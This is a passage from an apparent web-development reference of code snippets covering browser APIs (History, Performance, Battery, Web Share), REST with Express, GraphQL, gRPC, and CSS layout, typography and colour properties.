history.replaceState({ page: 2 }, 'Title', '/page/2');

// Go back
history.back();

// Go forward
history.forward();

// Go to specific point
history.go(-2); // Go back 2 pages
history.go(1);  // Go forward 1 page

// Listen for state changes
window.addEventListener('popstate', (event) => {
  console.log('State:', event.state);
  console.log('URL:', location.pathname);

  // Restore page state
  if (event.state && event.state.page) {
    loadPage(event.state.page);
  }
});

// Get current state
console.log('Current state:', history.state);

// Length of history
console.log('History length:', history.length);

// Example: Single Page App navigation
function navigateTo(url, state = {}) {
  history.pushState(state, '', url);
  loadContent(url);
}

document.querySelectorAll('a[data-link]').forEach(link => {
  link.addEventListener('click', (e) => {
    e.preventDefault();
    navigateTo(link.href);
  });
});

window.addEventListener('popstate', () => {
  loadContent(location.pathname);
});

// Mark time points
performance.mark('start-task');

// Do some work
await doSomethingExpensive();

performance.mark('end-task');

// Measure duration
performance.measure('task-duration', 'start-task', 'end-task');

// Get measurements
const measures = performance.getEntriesByName('task-duration');
console.log('Duration:', measures[0].duration, 'ms');

// Navigation timing
const navTiming = performance.getEntriesByType('navigation')[0];
console.log('DNS lookup:', navTiming.domainLookupEnd - navTiming.domainLookupStart);
console.log('TCP connect:', navTiming.connectEnd - navTiming.connectStart);
console.log('Request time:', navTiming.responseEnd - navTiming.requestStart);
console.log('DOM load:', navTiming.domContentLoadedEventEnd - navTiming.domContentLoadedEventStart);
console.log('Page load:', navTiming.loadEventEnd - navTiming.loadEventStart);

// Resource timing
const resources = performance.getEntriesByType('resource');
resources.forEach(resource => {
  console.log('Resource:', resource.name);
  console.log('Duration:', resource.duration);
  console.log('Size:', resource.transferSize);
});

// Paint timing
const paintTiming = performance.getEntriesByType('paint');
paintTiming.forEach(entry => {
  console.log(`${entry.name}:`, entry.startTime);
});
// first-paint, first-contentful-paint

// Clear marks and measures
performance.clearMarks();
performance.clearMeasures();

// Observer for performance entries
const perfObserver = new PerformanceObserver((list) => {
  list.getEntries().forEach(entry => {
    console.log('Entry:', entry.name, entry.duration);
  });
});

perfObserver.observe({ entryTypes: ['measure', 'navigation', 'resource'] });

// Memory usage (Chrome only)
if (performance.memory) {
  console.log('Used heap:', performance.memory.usedJSHeapSize);
  console.log('Total heap:', performance.memory.totalJSHeapSize);
  console.log('Heap limit:', performance.memory.jsHeapSizeLimit);
}

// Current time (high-resolution)
const start = performance.now();
// Do work
const end = performance.now();
console.log('Elapsed:', end - start, 'ms');

if ('getBattery' in navigator) {
  const battery = await navigator.getBattery();

  console.log('Charging:', battery.charging);
  console.log('Level:', battery.level * 100 + '%');
  console.log('Charging time:', battery.chargingTime, 'seconds');
  console.log('Discharging time:', battery.dischargingTime, 'seconds');

  // Listen for changes
  battery.addEventListener('chargingchange', () => {
    console.log('Charging:', battery.charging);
  });

  battery.addEventListener('levelchange', () => {
    console.log('Battery level:', battery.level * 100 + '%');

    if (battery.level < 0.2 && !battery.charging) {
      alert('Low battery! Please charge your device.');
    }
  });

  battery.addEventListener('chargingtimechange', () => {
    console.log('Charging time:', battery.chargingTime);
  });

  battery.addEventListener('dischargingtimechange', () => {
    console.log('Discharging time:', battery.dischargingTime);
  });

  // Adaptive features based on battery
  if (battery.level < 0.2 && !battery.charging) {
    // Reduce animations, polling, etc.
    enablePowerSavingMode();
  }
}

// Check if supported
if (navigator.share) {
  console.log('Web Share API supported');
}

// Share text
async function shareText() {
  try {
    await navigator.share({
      title: 'Check this out!',
      text: 'This is amazing content',
      url: 'https://example.com'
    });
    console.log('Shared successfully');
  } catch (error) {
    console.error('Error sharing:', error);
  }
}

// Share files
async function shareFiles(files) {
  if (navigator.canShare && navigator.canShare({ files })) {
    try {
      await navigator.share({
        files: files,
        title: 'Shared files',
        text: 'Check out these files'
      });
      console.log('Files shared successfully');
    } catch (error) {
      console.error('Error sharing files:', error);
    }
  } else {
    console.log('File sharing not supported');
  }
}

// Example: Share button
document.getElementById('shareBtn').addEventListener('click', async () => {
  if (navigator.share) {
    await shareText();
  } else {
    // Fallback: Copy link
    await navigator.clipboard.writeText(window.location.href);
    alert('Link copied to clipboard');
  }
});

// Example: Share image
const canvas = document.getElementById('canvas');
canvas.toBlob(async (blob) => {
  const file = new File([blob], 'image.png', { type: 'image/png' });
  await shareFiles([file]);
});

// Feature detection
const features = {
  serviceWorker: 'serviceWorker' in navigator,
  pushNotifications: 'PushManager' in window,
  notifications: 'Notification' in window,
  geolocation: 'geolocation' in navigator,
  webWorker: typeof Worker !== 'undefined',
  indexedDB: 'indexedDB' in window,
  webRTC: 'RTCPeerConnection' in window,
  webGL: (() => {
    const canvas = document.createElement('canvas');
    return !!(canvas.getContext('webgl') || canvas.getContext('experimental-webgl'));
  })(),
  mediaDevices: 'mediaDevices' in navigator,
  clipboard: 'clipboard' in navigator,
  share: 'share' in navigator,
  battery: 'getBattery' in navigator
};

console.table(features);

// Polyfill loading
if (!window.IntersectionObserver) {
  await import('intersection-observer');
}

// Progressive enhancement
if ('serviceWorker' in navigator) {
  // Enable offline support
  registerServiceWorker();
} else {
  // Gracefully degrade
  console.log('Service Worker not supported');
}

// 1. Always check feature support
if ('geolocation' in navigator) {
  // Use geolocation
}

// 2. Handle errors gracefully
try {
  await navigator.clipboard.writeText('text');
} catch (error) {
  // Fallback
  fallbackCopyMethod('text');
}

// 3. Request permissions appropriately
// Don't request permission immediately on page load
document.getElementById('enableNotifications').addEventListener('click', async () => {
  await Notification.requestPermission();
});

// 4. Clean up resources
const observer = new IntersectionObserver(callback);
// When done:
observer.disconnect();

const worker = new Worker('worker.js');
// When done:
worker.terminate();

// 5. Use Promises/async-await for better readability
// Instead of callbacks
async function loadData() {
  const data = await fetch('/api/data').then(r => r.json());
  return data;
}

// 6. Respect user privacy
// Check permission status before requesting
const status = await navigator.permissions.query({ name: 'geolocation' });
if (status.state === 'granted') {
  // Already have permission
}

// 7. Optimize performance
// Debounce expensive operations
function debounce(func, wait) {
  let timeout;
  return function (...args) {
    clearTimeout(timeout);
    timeout = setTimeout(() => func.apply(this, args), wait);
  };
}

window.addEventListener('resize', debounce(() => {
  console.log('Resized');
}, 250));

✓ GET /users          - List users
✓ POST /users         - Create user
✓ GET /users/123      - Get user 123
✓ PUT /users/123      - Replace user 123
✓ PATCH /users/123    - Partial update
✓ DELETE /users/123   - Delete user 123

✗ GET /getUser?id=123 - Procedural (bad)

# Request
GET /api/v1/users/123 HTTP/1.1
Host: api.example.com
Authorization: Bearer token
Content-Type: application/json

# Response
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "John",
  "email": "john@example.com"
}

{
  "error": "Validation failed",
  "details": {
    "email": "Invalid email format"
  },
  "status": 400
}

GET /users?page=2&limit=20
GET /users?offset=40&limit=20
GET /users?cursor=abc123

/api/v1/users    (stable)
/api/v2/users    (new version)
/api/beta/users  (experimental)

const express = require('express');
const app = express();

// Get all users
app.get('/users', (req, res) => {
  res.json(users);
});

// Get user by ID
app.get('/users/:id', (req, res) => {
  const user = users.find(u => u.id == req.params.id);
  res.json(user);
});

// Create user
app.post('/users', (req, res) => {
  const user = req.body;
  users.push(user);
  res.status(201).json(user);
});

// Update user
app.patch('/users/:id', (req, res) => {
  const user = users.find(u => u.id == req.params.id);
  Object.assign(user, req.body);
  res.json(user);
});

// Delete user
app.delete('/users/:id', (req, res) => {
  users = users.filter(u => u.id != req.params.id);
  res.status(204).send();
});

app.listen(3000);

# Using curl
curl -X GET http://localhost:3000/users
curl -X POST http://localhost:3000/users -H "Content-Type: application/json" -d '{"name":"John"}'

type User {
  id: ID!
  name: String!
  email: String!
  posts: [Post!]!
  age: Int
}

type Post {
  id: ID!
  title: String!
  content: String!
  author: User!
  createdAt: String!
}

type Query {
  user(id: ID!): User
  users: [User!]!
  post(id: ID!): Post
}

type Mutation {
  createUser(name: String!, email: String!): User!
  updateUser(id: ID!, name: String): User
  deleteUser(id: ID!): Boolean!
}

# Simple query
query {
  user(id: "1") {
    name
    email
  }
}

# Nested query
query {
  user(id: "1") {
    name
    posts {
      title
      createdAt
    }
  }
}

# Multiple queries
query {
  user1: user(id: "1") {
    name
  }
  user2: user(id: "2") {
    name
  }
}

# With variables
query GetUser($userId: ID!) {
  user(id: $userId) {
    name
    email
    posts {
      title
    }
  }
}

mutation CreateUser($name: String!, $email: String!) {
  createUser(name: $name, email: $email) {
    id
    name
    email
  }
}

mutation UpdateUser($id: ID!, $name: String) {
  updateUser(id: $id, name: $name) {
    id
    name
  }
}

const resolvers = {
  Query: {
    user: (parent, args) => {
      return db.users.find(u => u.id === args.id);
    },
    users: () => {
      return db.users;
    }
  },

  Mutation: {
    createUser: (parent, args) => {
      const user = { id: uuidv4(), ...args };
      db.users.push(user);
      return user;
    }
  },

  User: {
    posts: (parent) => {
      return db.posts.filter(p => p.authorId === parent.id);
    }
  }
};

const { ApolloServer, gql } = require('apollo-server');

const typeDefs = gql`
  type Query {
    hello: String
    user(id: ID!): User
  }

  type User {
    id: ID!
    name: String!
  }
`;

const resolvers = {
  Query: {
    hello: () => 'Hello world!',
    user: (_, args) => ({ id: args.id, name: 'John' })
  }
};

const server = new ApolloServer({
  typeDefs,
  resolvers
});

server.listen();

query {
  users(first: 10, after: "cursor123") {
    edges {
      node {
        id
        name
      }
      cursor
    }
    pageInfo {
      hasNextPage
      endCursor
    }
  }
}

// user.proto
syntax = "proto3";

package user;

service UserService {
  rpc GetUser(UserRequest) returns (UserResponse);
  rpc ListUsers(ListUsersRequest) returns (stream UserResponse);
}

message UserRequest {
  int32 id = 1;
}

message UserResponse {
  int32 id = 1;
  string name = 2;
  string email = 3;
}

message ListUsersRequest {
  int32 page = 1;
  int32 page_size = 2;
}

import grpc
from concurrent import futures
import user_pb2
import user_pb2_grpc

class UserServiceServicer(user_pb2_grpc.UserServiceServicer):
    def GetUser(self, request, context):
        # Fetch user from database
        return user_pb2.UserResponse(
            id=request.id,
            name="John Doe",
            email="john@example.com"
        )

    def ListUsers(self, request, context):
        # Stream users
        for user in get_users():
            yield user_pb2.UserResponse(
                id=user.id,
                name=user.name,
                email=user.email
            )

def serve():
    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
    user_pb2_grpc.add_UserServiceServicer_to_server(
        UserServiceServicer(), server
    )
    server.add_insecure_port('[::]:50051')
    server.start()
    server.wait_for_termination()

import grpc
import user_pb2
import user_pb2_grpc

def run():
    with grpc.insecure_channel('localhost:50051') as channel:
        stub = user_pb2_grpc.UserServiceStub(channel)

        # Unary call
        response = stub.GetUser(user_pb2.UserRequest(id=1))
        print(f"User: {response.name}")

        # Server streaming
        for user in stub.ListUsers(user_pb2.ListUsersRequest(page=1)):
            print(f"User: {user.name}")

/* Universal selector - selects all elements */
* {
  margin: 0;
  padding: 0;
}

/* Element/Type selector */
p {
  font-size: 16px;
}

/* Class selector */
.container {
  max-width: 1200px;
}

/* ID selector */
#header {
  background-color: #333;
}

/* Multiple selectors */
h1, h2, h3 {
  font-family: Arial, sans-serif;
}

/* Element with specific attribute */
[disabled] {
  opacity: 0.5;
}

/* Exact attribute value */
[type="text"] {
  border: 1px solid #ccc;
}

/* Attribute contains value */
[class*="btn"] {
  padding: 10px 20px;
}

/* Attribute starts with value */
[href^="https"] {
  color: green;
}

/* Attribute ends with value */
[href$=".pdf"] {
  color: red;
}

/* Attribute contains word */
[title~="important"] {
  font-weight: bold;
}

/* Attribute value or starts with value- */
[lang|="en"] {
  direction: ltr;
}

/* Descendant combinator (space) - all descendants */
div p {
  color: blue;
}

/* Child combinator (>) - direct children only */
ul > li {
  list-style: none;
}

/* Adjacent sibling combinator (+) - immediately following sibling */
h2 + p {
  margin-top: 0;
}

/* General sibling combinator (~) - all following siblings */
h2 ~ p {
  color: gray;
}

/* Link states */
a:link { color: blue; }
a:visited { color: purple; }
a:hover { color: red; }
a:active { color: orange; }

/* Form states */
input:focus {
  outline: 2px solid blue;
}

input:disabled {
  background-color: #f0f0f0;
}

input:checked {
  accent-color: green;
}

input:required {
  border-color: red;
}

input:valid {
  border-color: green;
}

input:invalid {
  border-color: red;
}

/* Structural pseudo-classes */
/* First/last child */
li:first-child {
  font-weight: bold;
}

li:last-child {
  border-bottom: none;
}

/* Only child */
p:only-child {
  margin: 0;
}

/* nth-child patterns */
tr:nth-child(odd) {
  background-color: #f9f9f9;
}

tr:nth-child(even) {
  background-color: #fff;
}

tr:nth-child(3n) {
  /* Every 3rd element */
  background-color: yellow;
}

tr:nth-child(3n+1) {
  /* 1st, 4th, 7th, etc. */
  background-color: lightblue;
}

/* nth-of-type - same as nth-child but considers element type */
p:nth-of-type(2) {
  color: red;
}

/* first-of-type / last-of-type */
article p:first-of-type {
  font-size: 1.2em;
}

/* Other structural */
:root {
  /* Root element (html) */
  --primary-color: #007bff;
}

:empty {
  /* Elements with no children */
  display: none;
}

/* Negation pseudo-class */
div:not(.excluded) {
  display: block;
}

input:not([type="submit"]) {
  border: 1px solid #ccc;
}

/* Target pseudo-class */
:target {
  /* Element targeted by URL fragment */
  background-color: yellow;
}

/* ::before and ::after - insert content */
.quote::before {
  content: """;
  font-size: 2em;
  color: #999;
}

.quote::after {
  content: """;
}

/* ::first-letter */
p::first-letter {
  font-size: 2em;
  font-weight: bold;
  float: left;
  line-height: 1;
}

/* ::first-line */
p::first-line {
  font-weight: bold;
  color: #333;
}

/* ::selection - highlighted text */
::selection {
  background-color: yellow;
  color: black;
}

/* ::placeholder */
input::placeholder {
  color: #999;
  font-style: italic;
}

/* ::marker - list item markers */
li::marker {
  color: red;
  font-weight: bold;
}

/* Specificity: 1 */
p { color: black; }

/* Specificity: 10 */
.text { color: blue; }

/* Specificity: 100 */
#main { color: green; }

/* Specificity: 111 */
#main p.text { color: red; }

/* Specificity: 1000 */
<p style="color: purple;">

/* !important overrides specificity (use sparingly!) */
p { color: orange !important; }

.box {
  /* Content area */
  width: 300px;
  height: 200px;

  /* Padding - space inside border */
  padding: 20px;
  /* or */
  padding-top: 10px;
  padding-right: 20px;
  padding-bottom: 10px;
  padding-left: 20px;
  /* or shorthand */
  padding: 10px 20px;          /* vertical horizontal */
  padding: 10px 20px 15px;     /* top horizontal bottom */
  padding: 10px 20px 15px 5px; /* top right bottom left (clockwise) */

  /* Border */
  border: 2px solid #333;
  /* or detailed */
  border-width: 2px;
  border-style: solid;  /* solid, dashed, dotted, double, groove, ridge, inset, outset, none */
  border-color: #333;
  /* individual sides */
  border-top: 1px solid red;
  border-right: 2px dashed blue;

  /* Margin - space outside border */
  margin: 20px;
  /* same shorthand patterns as padding */
  margin: 10px auto;  /* vertical=10px, horizontal=auto (centers block element) */

  /* Margin collapse - adjacent vertical margins collapse to larger value */
}

/* Box-sizing */
.box-default {
  box-sizing: content-box;  /* Default: width/height apply to content only */
  width: 300px;
  padding: 20px;
  border: 5px solid black;
  /* Actual width: 300 + 40 (padding) + 10 (border) = 350px */
}

.box-border {
  box-sizing: border-box;  /* Width/height include padding and border */
  width: 300px;
  padding: 20px;
  border: 5px solid black;
  /* Actual width: 300px (includes padding and border) */
  /* Content width: 300 - 40 - 10 = 250px */
}

/* Global box-sizing (common practice) */
*, *::before, *::after {
  box-sizing: border-box;
}

/* Block - full width, new line */
div {
  display: block;
  width: 100%;  /* Takes full width by default */
}

/* Inline - flows with text, width/height ignored */
span {
  display: inline;
  width: 100px;    /* Ignored */
  height: 50px;    /* Ignored */
  margin: 10px 0;  /* Vertical margins ignored */
}

/* Inline-block - flows with text but respects width/height */
.button {
  display: inline-block;
  width: 100px;
  height: 40px;
  padding: 10px;
}

/* None - removes from document flow */
.hidden {
  display: none;  /* Element not rendered, no space taken */
}

/* Visibility (alternative to display: none) */
.invisible {
  visibility: hidden;  /* Element invisible but space preserved */
}

/* Flex - flexible box layout */
.container {
  display: flex;
}

/* Grid - grid layout */
.grid-container {
  display: grid;
}

/* Table display values */
.table { display: table; }
.table-row { display: table-row; }
.table-cell { display: table-cell; }

/* Static (default) - normal document flow */
.static {
  position: static;
  /* top, right, bottom, left have no effect */
}

/* Relative - positioned relative to normal position */
.relative {
  position: relative;
  top: 20px;    /* Moves down 20px from normal position */
  left: 10px;   /* Moves right 10px from normal position */
  /* Space in normal flow is preserved */
}

/* Absolute - positioned relative to nearest positioned ancestor */
.absolute {
  position: absolute;
  top: 0;
  right: 0;
  /* Removed from normal flow, no space reserved */
  /* If no positioned ancestor, positioned relative to viewport */
}

/* Fixed - positioned relative to viewport */
.fixed {
  position: fixed;
  bottom: 20px;
  right: 20px;
  /* Stays in place when scrolling */
}

/* Sticky - hybrid of relative and fixed */
.sticky {
  position: sticky;
  top: 0;
  /* Acts as relative until scroll threshold, then becomes fixed */
}

/* Z-index - stacking order */
.modal {
  position: absolute;
  z-index: 1000;  /* Higher values appear on top */
}

.overlay {
  position: fixed;
  z-index: 999;
}

/* Common pattern: Centered absolute positioning */
.centered {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

/* Positioning context */
.parent {
  position: relative;  /* Creates positioning context for children */
}

.child {
  position: absolute;
  top: 0;
  left: 0;  /* Positioned relative to .parent */
}

.container {
  display: flex;  /* or inline-flex */

  /* Flex direction - main axis direction */
  flex-direction: row;              /* Default: left to right */
  flex-direction: row-reverse;      /* Right to left */
  flex-direction: column;           /* Top to bottom */
  flex-direction: column-reverse;   /* Bottom to top */

  /* Flex wrap - whether items wrap to new lines */
  flex-wrap: nowrap;   /* Default: single line */
  flex-wrap: wrap;     /* Multi-line, top to bottom */
  flex-wrap: wrap-reverse;  /* Multi-line, bottom to top */

  /* Shorthand for direction and wrap */
  flex-flow: row wrap;

  /* Justify content - alignment along main axis */
  justify-content: flex-start;    /* Default: start of container */
  justify-content: flex-end;      /* End of container */
  justify-content: center;        /* Center of container */
  justify-content: space-between; /* Even spacing, no space at edges */
  justify-content: space-around;  /* Even spacing, half space at edges */
  justify-content: space-evenly;  /* Even spacing including edges */

  /* Align items - alignment along cross axis */
  align-items: stretch;      /* Default: stretch to fill */
  align-items: flex-start;   /* Start of cross axis */
  align-items: flex-end;     /* End of cross axis */
  align-items: center;       /* Center of cross axis */
  align-items: baseline;     /* Align baselines */

  /* Align content - alignment of multiple lines (when wrapped) */
  align-content: stretch;
  align-content: flex-start;
  align-content: flex-end;
  align-content: center;
  align-content: space-between;
  align-content: space-around;

  /* Gap between items (modern) */
  gap: 20px;            /* Both row and column gap */
  row-gap: 10px;
  column-gap: 20px;
}

.item {
  /* Flex grow - how much item grows relative to siblings */
  flex-grow: 0;    /* Default: don't grow */
  flex-grow: 1;    /* Grow to fill space equally */
  flex-grow: 2;    /* Grow twice as much as items with flex-grow: 1 */

  /* Flex shrink - how much item shrinks when needed */
  flex-shrink: 1;  /* Default: shrink if necessary */
  flex-shrink: 0;  /* Don't shrink */

  /* Flex basis - initial size before growing/shrinking */
  flex-basis: auto;    /* Default: based on content */
  flex-basis: 200px;   /* Specific size */
  flex-basis: 0;       /* Ignore content size */

  /* Shorthand for grow, shrink, basis */
  flex: 0 1 auto;      /* Default */
  flex: 1;             /* flex: 1 1 0 - equal sizing */
  flex: 2;             /* flex: 2 1 0 - twice the size */
  flex: none;          /* flex: 0 0 auto - fixed size */
  flex: auto;          /* flex: 1 1 auto - based on content */

  /* Align self - override align-items for individual item */
  align-self: auto;        /* Default: inherit from container */
  align-self: flex-start;
  align-self: flex-end;
  align-self: center;
  align-self: stretch;
  align-self: baseline;

  /* Order - visual order (doesn't affect DOM order) */
  order: 0;    /* Default */
  order: 1;    /* Appears after order: 0 items */
  order: -1;   /* Appears before order: 0 items */
}

/* Horizontal centering */
.horizontal-center {
  display: flex;
  justify-content: center;
}

/* Vertical centering */
.vertical-center {
  display: flex;
  align-items: center;
}

/* Perfect centering */
.perfect-center {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* Equal width columns */
.equal-columns .column {
  flex: 1;
}

/* Sidebar layout */
.sidebar-layout {
  display: flex;
}

.sidebar {
  flex: 0 0 250px;  /* Fixed 250px width */
}

.main-content {
  flex: 1;  /* Takes remaining space */
}

/* Card layout with wrapping */
.card-grid {
  display: flex;
  flex-wrap: wrap;
  gap: 20px;
}

.card {
  flex: 1 1 300px;  /* Grow, shrink, min 300px */
}

/* Space between items */
.space-between {
  display: flex;
  justify-content: space-between;
}

/* Align last item to end */
.push-last {
  display: flex;
}

.push-last .last {
  margin-left: auto;
}

.container {
  display: grid;  /* or inline-grid */

  /* Define columns */
  grid-template-columns: 200px 200px 200px;  /* 3 fixed columns */
  grid-template-columns: 1fr 1fr 1fr;        /* 3 equal flexible columns */
  grid-template-columns: 1fr 2fr 1fr;        /* Middle column twice as wide */
  grid-template-columns: 200px 1fr 200px;    /* Fixed sidebars, flexible center */
  grid-template-columns: repeat(3, 1fr);     /* Shorthand for equal columns */
  grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));  /* Responsive columns */

  /* Define rows */
  grid-template-rows: 100px auto 100px;      /* Header, content, footer */
  grid-template-rows: repeat(3, 200px);      /* 3 equal rows */

  /* Named grid lines */
  grid-template-columns: [start] 1fr [middle] 1fr [end];

  /* Grid template areas - visual layout */
  grid-template-areas:
    "header header header"
    "sidebar main main"
    "footer footer footer";

  /* Gap between grid cells */
  gap: 20px;               /* Both row and column gap */
  row-gap: 10px;
  column-gap: 20px;

  /* Justify items - horizontal alignment within cells */
  justify-items: stretch;  /* Default */
  justify-items: start;
  justify-items: end;
  justify-items: center;

  /* Align items - vertical alignment within cells */
  align-items: stretch;    /* Default */
  align-items: start;
  align-items: end;
  align-items: center;

  /* Justify content - horizontal alignment of grid within container */
  justify-content: start;
  justify-content: end;
  justify-content: center;
  justify-content: space-between;
  justify-content: space-around;
  justify-content: space-evenly;

  /* Align content - vertical alignment of grid within container */
  align-content: start;
  align-content: end;
  align-content: center;
  align-content: space-between;
  align-content: space-around;
  align-content: space-evenly;

  /* Auto rows/columns - size of implicit tracks */
  grid-auto-rows: 100px;
  grid-auto-columns: 200px;

  /* Auto flow - how auto-placed items flow */
  grid-auto-flow: row;      /* Default: fill rows */
  grid-auto-flow: column;   /* Fill columns */
  grid-auto-flow: dense;    /* Fill gaps (may reorder) */
}

.item {
  /* Grid column placement */
  grid-column-start: 1;
  grid-column-end: 3;      /* Spans from column 1 to 3 */
  grid-column: 1 / 3;      /* Shorthand */
  grid-column: 1 / span 2; /* Start at 1, span 2 columns */
  grid-column: 1 / -1;     /* Span to last column */

  /* Grid row placement */
  grid-row-start: 1;
  grid-row-end: 3;
  grid-row: 1 / 3;         /* Shorthand */
  grid-row: 2 / span 2;    /* Start at row 2, span 2 rows */

  /* Grid area - shorthand for row-start / column-start / row-end / column-end */
  grid-area: 1 / 1 / 3 / 3;

  /* Named area */
  grid-area: header;       /* Uses grid-template-areas from container */

  /* Justify self - horizontal alignment for this item */
  justify-self: stretch;
  justify-self: start;
  justify-self: end;
  justify-self: center;

  /* Align self - vertical alignment for this item */
  align-self: stretch;
  align-self: start;
  align-self: end;
  align-self: center;

  /* Z-index works with grid items */
  z-index: 1;
}

/* Simple 3-column layout */
.three-column {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 20px;
}

/* Responsive grid - auto-fit columns */
.responsive-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
  gap: 20px;
}

/* Holy Grail layout */
.holy-grail {
  display: grid;
  grid-template-areas:
    "header header header"
    "nav main aside"
    "footer footer footer";
  grid-template-rows: auto 1fr auto;
  grid-template-columns: 200px 1fr 200px;
  gap: 10px;
  min-height: 100vh;
}

.header { grid-area: header; }
.nav { grid-area: nav; }
.main { grid-area: main; }
.aside { grid-area: aside; }
.footer { grid-area: footer; }

/* Card grid with different sizes */
.masonry-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  grid-auto-rows: 100px;
  gap: 10px;
}

.card-large {
  grid-row: span 2;
  grid-column: span 2;
}

/* Centered grid */
.centered-grid {
  display: grid;
  place-items: center;  /* Shorthand for justify-items: center; align-items: center; */
}

/* Full-page layout */
.page-layout {
  display: grid;
  grid-template-rows: 60px 1fr 40px;
  min-height: 100vh;
}

.text {
  /* Font family */
  font-family: Arial, Helvetica, sans-serif;
  font-family: 'Times New Roman', serif;
  font-family: 'Courier New', monospace;
  font-family: Georgia, 'Times New Roman', serif;  /* Fallback fonts */

  /* Font size */
  font-size: 16px;          /* Absolute */
  font-size: 1.2em;         /* Relative to parent */
  font-size: 1.2rem;        /* Relative to root (html) */
  font-size: 100%;          /* Relative to parent */
  font-size: larger;        /* Keyword */

  /* Font weight */
  font-weight: normal;      /* 400 */
  font-weight: bold;        /* 700 */
  font-weight: lighter;     /* Relative to parent */
  font-weight: bolder;      /* Relative to parent */
  font-weight: 100;         /* Thin */
  font-weight: 300;         /* Light */
  font-weight: 400;         /* Normal */
  font-weight: 500;         /* Medium */
  font-weight: 700;         /* Bold */
  font-weight: 900;         /* Black */

  /* Font style */
  font-style: normal;
  font-style: italic;
  font-style: oblique;

  /* Font variant */
  font-variant: normal;
  font-variant: small-caps;

  /* Font shorthand: style variant weight size/line-height family */
  font: italic small-caps bold 16px/1.5 Arial, sans-serif;

  /* Line height */
  line-height: 1.5;         /* Recommended for body text */
  line-height: 24px;        /* Absolute */
  line-height: 150%;        /* Percentage */

  /* Letter spacing */
  letter-spacing: normal;
  letter-spacing: 0.05em;
  letter-spacing: 2px;

  /* Word spacing */
  word-spacing: normal;
  word-spacing: 5px;
}

.text {
  /* Text alignment */
  text-align: left;
  text-align: right;
  text-align: center;
  text-align: justify;

  /* Text decoration */
  text-decoration: none;
  text-decoration: underline;
  text-decoration: overline;
  text-decoration: line-through;
  text-decoration: underline dotted red;  /* line style color */

  /* Text transform */
  text-transform: none;
  text-transform: uppercase;
  text-transform: lowercase;
  text-transform: capitalize;  /* First letter of each word */

  /* Text indent */
  text-indent: 0;
  text-indent: 2em;     /* Indent first line */
  text-indent: -999px;  /* Hide text (accessibility hack) */

  /* White space */
  white-space: normal;    /* Collapse whitespace, wrap lines */
  white-space: nowrap;    /* No wrapping */
  white-space: pre;       /* Preserve whitespace, no wrapping */
  white-space: pre-wrap;  /* Preserve whitespace, wrap lines */
  white-space: pre-line;  /* Preserve line breaks, wrap lines */

  /* Word break */
  word-break: normal;
  word-break: break-all;  /* Break anywhere */
  word-break: keep-all;   /* Don't break CJK text */

  /* Overflow wrap */
  overflow-wrap: normal;
  overflow-wrap: break-word;  /* Break long words */

  /* Text overflow */
  overflow: hidden;
  text-overflow: clip;
  text-overflow: ellipsis;  /* Show ... when text overflows */
  white-space: nowrap;       /* Required for ellipsis */

  /* Vertical alignment */
  vertical-align: baseline;  /* Default */
  vertical-align: top;
  vertical-align: middle;
  vertical-align: bottom;
  vertical-align: sub;
  vertical-align: super;
  vertical-align: 5px;       /* Relative to baseline */

  /* Text shadow */
  text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);  /* x-offset y-offset blur color */
  text-shadow: 1px 1px 2px black, 0 0 25px blue;  /* Multiple shadows */
}

/* Google Fonts import */
@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;700&display=swap');

/* Custom font face */
@font-face {
  font-family: 'CustomFont';
  src: url('fonts/custom-font.woff2') format('woff2'),
       url('fonts/custom-font.woff') format('woff');
  font-weight: normal;
  font-style: normal;
  font-display: swap;  /* Improves performance */
}

.custom-text {
  font-family: 'CustomFont', sans-serif;
}

/* Variable fonts */
@font-face {
  font-family: 'Variable Font';
  src: url('font.woff2') format('woff2-variations');
  font-weight: 100 900;  /* Range of weights available */
}

.variable-text {
  font-family: 'Variable Font';
  font-weight: 450;  /* Any weight in range */
  font-variation-settings: 'wght' 450, 'wdth' 100;
}

.colors {
  /* Named colors */
  color: red;
  color: cornflowerblue;
  color: transparent;

  /* Hexadecimal */
  color: #ff0000;      /* Red */
  color: #f00;         /* Short form */
  color: #ff0000ff;    /* With alpha (RGBA) */

  /* RGB */
  color: rgb(255, 0, 0);
  color: rgba(255, 0, 0, 0.5);  /* With alpha (50% opacity) */

  /* HSL (Hue, Saturation, Lightness) */
  color: hsl(0, 100%, 50%);       /* Red */
  color: hsla(0, 100%, 50%, 0.5); /* With alpha */

  /* Modern syntax (space-separated, optional alpha) */
  color: rgb(255 0 0 / 50%);
  color: hsl(0 100% 50% / 0.5);

  /* currentColor - inherits text color */
  border-color: currentColor;
}

.background {
  /* Background color */
  background-color: #f0f0f0;
  background-color: rgba(0, 0, 0, 0.1);

  /* Background image */
  background-image: url('image.jpg');
  background-image: url('data:image/svg+xml,...');  /* Data URI */

  /* Multiple backgrounds */
  background-image: url('overlay.png'), url('background.jpg');

  /* Background repeat */
  background-repeat: repeat;      /* Default */
  background-repeat: no-repeat;
  background-repeat: repeat-x;    /* Horizontal only */
  background-repeat: repeat-y;    /* Vertical only */
  background-repeat: space;       /* Repeat with spacing */
  background-repeat: round;       /* Repeat and scale */

  /* Background position */
  background-position: top left;
  background-position: center;
  background-position: 50% 50%;
  background-position: right 20px bottom 10px;

  /* Background size */
  background-size: auto;          /* Default */
  background-size: cover;         /* Scale to cover entire element */
  background-size: contain;       /* Scale to fit within element */
  background-size: 100px 50px;    /* Specific dimensions */
  background-size: 50%;           /* Percentage */

  /* Background attachment */
  background-attachment: scroll;  /* Default: scrolls with page */
  background-attachment: fixed;   /* Fixed relative to viewport */
  background-attachment: local;   /* Scrolls with element content */

  /* Background origin */
  background-origin: padding-box; /* Default */
  background-origin: border-box;
  background-origin: content-box;

  /* Background clip */
  background-clip: border-box;    /* Default */
  background-clip: padding-box;
  background-clip: content-box;
  background-clip: text;          /* Clip to text (requires -webkit-) */

  /* Background shorthand */
  background: #f0f0f0 url('bg.jpg') no-repeat center / cover fixed;
  /* color image repeat position / size attachment */
}

/* Linear gradients */
.linear-gradient {
